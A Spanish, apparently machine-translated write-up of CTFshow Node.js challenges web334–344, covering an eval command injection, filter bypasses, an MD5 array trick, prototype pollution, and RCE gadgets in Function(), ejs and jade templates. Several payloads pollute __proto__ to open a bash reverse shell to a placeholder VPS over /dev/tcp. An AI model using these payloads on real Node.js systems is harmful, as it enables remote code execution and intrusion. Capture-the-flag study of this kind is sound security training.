Directorio de artículos
que es nodejs
Node.js es un entorno de tiempo de ejecución de Javascript basado en el motor Chrome V8. Se puede decir que nodejs es un entorno de tiempo de ejecución o un intérprete de lenguaje JS en lugar de algún tipo de biblioteca.
Nodejs es un programa C++ desarrollado en base al motor V8 de Chrome para proporcionar un entorno de tiempo de ejecución JS. Al principio, Nodejs se instaló principalmente en el servidor para ayudar a todos a desarrollar código de servidor de alto rendimiento con JS, pero luego Nodejs también brilló en el front-end, lo que supuso una revolución en el desarrollo web front-end. Hay dos formas de ejecutar el código JS en Nodejs, una es ejecutarlo en el entorno interactivo de Node.js, la otra es escribir el código en un archivo y luego usar el comando node para ejecutar el código del archivo. Nodejs y los navegadores son entornos diferentes, así que preste atención a estas diferencias al escribir código JS.
web334
user.js encontró nombre de usuario: 'CTFSHOW', contraseña: '123456'
El código fuente está en login.js Si encuentra que el inicio de sesión es exitoso, obtendrá una bandera, es decir, concéntrese en la parte de inicio de sesión.
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
El requisito es que el nombre no sea igual a CTFSHOW. La segunda línea de users.find es tomar la parte user.js, item.username=CTFSHOW, lo que significa que el nombre en mayúsculas de CTFSHOW también puede pasar el juicio, por lo que la cuenta La contraseña ya se puede obtener aquí.
username:ctfshow
password:123456
Inicie sesión para obtener la bandera
web335
Descubrimiento del código fuente/?eval=
Luego pase un ?eval=ls, el eco es que no se puede encontrar el archivo, por lo que puede ser para incluir un archivo o algo así
Pero después de la prueba, descubrí que ni siquiera se podía encontrar index.php, así que pasé otro eval=1 y repetí un 1 en index.php
Teniendo en cuenta que se trata de nodejs, es muy probable que eval sea la función eval ejecutada.在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
Consulte el child_process de la documentación de nodejs: http://nodejs.cn/api/child_process.html
Nota:child_process.exec(command[, options][, callback])
Así que construye una carga útil
require("child_process").execSync('ls')
Buscar bandera: fl00g.txt, solo gato
web336
Todavía es eval, pero la carga útil anterior mostrará tql, lo que indica que debe omitirse aquí.
Pruébelo, filtre la cadena exec
Aquí hay una forma de empalmar exec para omitir
require("child_process")['exe'%2B'cSync']('ls')
Echa un vistazo a wp, puedes ver el código fuente aquí
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
Así que pase ?eval=__filename para ver que la ruta es /app/routes/index.js
Luego pase eval=require('fs').readFileSync('/app/routes/index.js','utf-8') para encontrar que exec y carga están filtrados
web337
código fuente
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{
msg: 'tql'});
}
});
module.exports = router;
Para pasar a y b, a y b deben ser verdaderos, a y b tienen la misma longitud, a no es igual a b, a+flag y b+flag son iguales después de md5, luego salida flag
Parece que he visto esto antes, pero realmente lo olvidé. Parece que hay uno en la sección de temas originales de la competencia. Definitivamente hay uno en la sección de temas originales de la competencia CTFSHOW. Lo hice en ese momento, allí ¡debe ser!
Lo primero que me vino a la mente fue pasar una matriz para omitir, pero la prueba descubrió que no funcionaba, así que usé la consola para depurarlo.
La consola lo probó y encontró que los dos valores no son iguales
Se encuentra que los valores pasados de esta forma son iguales, es decir, pasando a[:]=1&b[:]=2 se puede pasar por alto
web338
La misma interfaz de inicio de sesión que la primera pregunta, descargue el código fuente y descomprímalo
Primero pase un 123 123 aleatorio y repita el error de inicio de sesión {"username":"123","password":"123"}
Mire el código fuente y vea la sección de inicio de sesión en rutas/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
que también requiere un utils/common
//common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
La bandera se imprimirá cada vez que secert.ctfshow==='36dboy'. El sitio de prueba es la contaminación de la cadena prototipo Por primera vez, vea lo que escribió P Dios.
Comprensión profunda de los ataques de contaminación de prototipos de JavaScript
Por cierto, cuando lo miré, encontré que common.js y el JS en el ejemplo de P Dios se puede decir que son exactamente iguales.
Así que intente contaminar la clase Object y agregue el atributo {"ctfshow":"36dboy"}. Cámbialo al enviar el paquete.
Debido a la contaminación del prototipo, el secret
objeto hereda directamente Object.prototype, lo que conduce asecert.ctfshow==='36dboy'
web339
Agregado y modificado en login.js
//login.js
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
......
if(secert.ctfshow===flag){
res.end(flag);
......
Además, se ha agregado un nuevo api.js
//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {
query: Function(query)(query)});
});
module.exports = router;
nuevo conocimiento otra vez
solución esperada
el defecto esta enres.render('api', { query: Function(query)(query)});
No se hace referencia a la variable de consulta en Function, y se puede realizar rce asignándole cualquier valor a través de la contaminación del prototipo.
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}
Después de la POST de la interfaz de índice, puede POST directamente para acceder a la interfaz api
El nuevo servidor que compró Madd olvidó abrir el grupo de seguridad. Jugué duro durante 20 minutos y Bengbu sobrevivió.
la bandera está en login.js
Esto significa éxito
solución inesperada
La vulnerabilidad de la plantilla ejs conduce a rce (Code-Breaking 2018 Thejs question (consulte el blog de P God, solo el enlace anterior))
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
El método de uso de la carga útil es el mismo que el anterior. Primero, el índice envía el paquete y luego la API envía el paquete.
web340
Esta vez, hay muchas definiciones en el inicio de sesión.
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
Aquí se requieren dos niveles de contaminación, puede leer el blog del Maestro Yu https://blog.csdn.net/miuzzx/article/details/111780832#web339_48
hay un ejemplo
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
web341
Esta vez, se eliminó la API y también se cambió el inicio de sesión.
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({
ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
Aquí se utiliza el inesperado de 339, que es la solución esperada de este problema. Tenga en cuenta que es necesario anidar, porque es una revisión del 340.
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}
Luego, puede acceder a la interfaz de manera casual, por ejemplo, actualizar la página de inicio y, después de conectarse, ingresar directamente env para ver las variables de entorno para encontrar la bandera.
web342-343
Se dice que es jade rce (https://xz.aliyun.com/t/7025), porque no he ido a entender, así que jugaré según los maestros aquí.
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
Al enviar el paquete, el "Tipo de contenido" en el encabezado de la solicitud se cambia a "aplicación/json"
Buscando bandera sigue siendo env
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
La coma se filtra, e incluso %2c se filtra, y luego %2c también es una coma
De todos modos, para pasar?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
Aquí, puede codificar directamente los parámetros que se pasarán a la URL.
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d